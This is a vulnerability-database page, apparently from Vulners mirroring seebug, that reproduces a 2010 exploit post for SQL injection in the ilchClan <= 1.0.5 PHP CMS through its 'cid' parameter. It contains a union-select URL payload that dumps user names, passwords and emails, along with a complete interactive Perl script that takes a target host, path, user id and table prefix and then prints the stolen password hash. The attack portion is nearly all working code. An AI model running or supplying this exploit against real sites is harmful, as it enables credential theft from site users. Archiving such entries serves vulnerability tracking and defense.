Lucene search
K

ilchClan <= 1.0.5 (cid) SQL Injection Vulnerability & Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 23 Views

ilchClan 1.0.5 SQL Injection Vulnerability & Exploit by Easy Laster, 05.04.2010, for free, PHP, discovered by 4004-Security-Project, Exploit: http://www.site.com/ilchClan105/?m=downloads&cid=1+and+1=0+union+select 1,concat(name,0x3a,pass,0x3a,email)+from+ilchclan_user+where+id=1-

Code

                                                ----------------------------Information------------------------------------------------
+Name : ilchClan &#60;= 1.0.5 SQL Injection Vulnerability & Exploit
+Autor : Easy Laster
+Date   : 05.04.2010
+Script  : ilchClan &#60;= 1.0.5
+Price : for free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/ilchClan105/?m=downloads&cid=

+Exploitable   : http://www.site.com/ilchClan105/?m=downloads&cid=1+and+1=0+union+select
+1,concat(name,0x3a,pass,0x3a,email)+from+ilchclan_user+where+id=1--


-----------------------------------------------------------------------------------------

#Exploit


#!usr\bin\perl
#
#
##################################################
# Modules                                        #
#------------------------------------------------#     
use strict;               # Better coding.       #
use warnings;             # Useful warnings.     #
use LWP::Simple;          # procedureal interface#
##################################################
print &#34;
##################################################
#            4004-Security-Project               #
##################################################
#         ilchClan &#60;= 1.0.5 SQL Injection        #
#                     Exploit                    #
#          Using Host+Path+Userid+prefix         #
#          demo.de /ilchclan/ 1 ilchClan         #
#                   Easy Laster                  #
##################################################
\a\n&#34;;
my($host,$path,$userid,$request);
my($first,$block,$error,$dir,$prefix);
$block = &#34;
##################################################\n&#34;;
$error = &#34;Exploit failed&#34;;
  print &#34;$block&#34;;
    print q(Target demo.de-&#62;);
    chomp($host =&#60;STDIN&#62;);
    if ($host eq&#34;&#34;){
    die &#34;$error\a\n&#34;};
    print &#34;$block&#34;;
          print q(Path /path/ -&#62;);
          chomp($path =&#60;STDIN&#62;);
          if ($path eq&#34;&#34;){
          die &#34;$error\a\n&#34;;}
                 print &#34;$block&#34;;
                 print q(userid-&#62;);
                  chomp($userid =&#60;STDIN&#62;);
                      if ($userid eq&#34;&#34;){
                      die &#34;$error\a\n&#34;;}
                      print &#34;$block&#34;;
                            print q(prefix ilchClan -&#62;);
                            chomp($prefix =&#60;STDIN&#62;);
                            if ($prefix eq&#34;&#34;){
                            die &#34;$error\a\n&#34;;}
                            print &#34;$block&#34;;
                            $dir = &#34;?m=downloads&cid=&#34;;
                            print &#34;&#60;~&#62; Exploiting...\n&#34;;
                          $host = &#34;http://&#34;.$host.$path.$dir;
                          print &#34;&#60;~&#62; Connecting...\n&#34;;
                          $request = get($host.&#34;1+and+1=0+union+select+1,concat(0x23,0x23,0x23,0x23,0x23,pass)+from+&#34;.$prefix.&#34;_user+where+id=&#34;.$userid.&#34;--&#34;);
                       $first = rindex($request,&#34;#####&#34;);
                       if ($first != -1)
                       {
               print &#34;&#60;~&#62; Exploiting...\n&#34;;
               print &#34;$block\n&#34;;
         $request = substr($request, $first+5, 32);
         print &#34;&#60;~&#62; Hash = $request\n\r\n\a&#34;;
       }
       else
     {
   print &#34;&#60;~&#62; $error&#34;;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation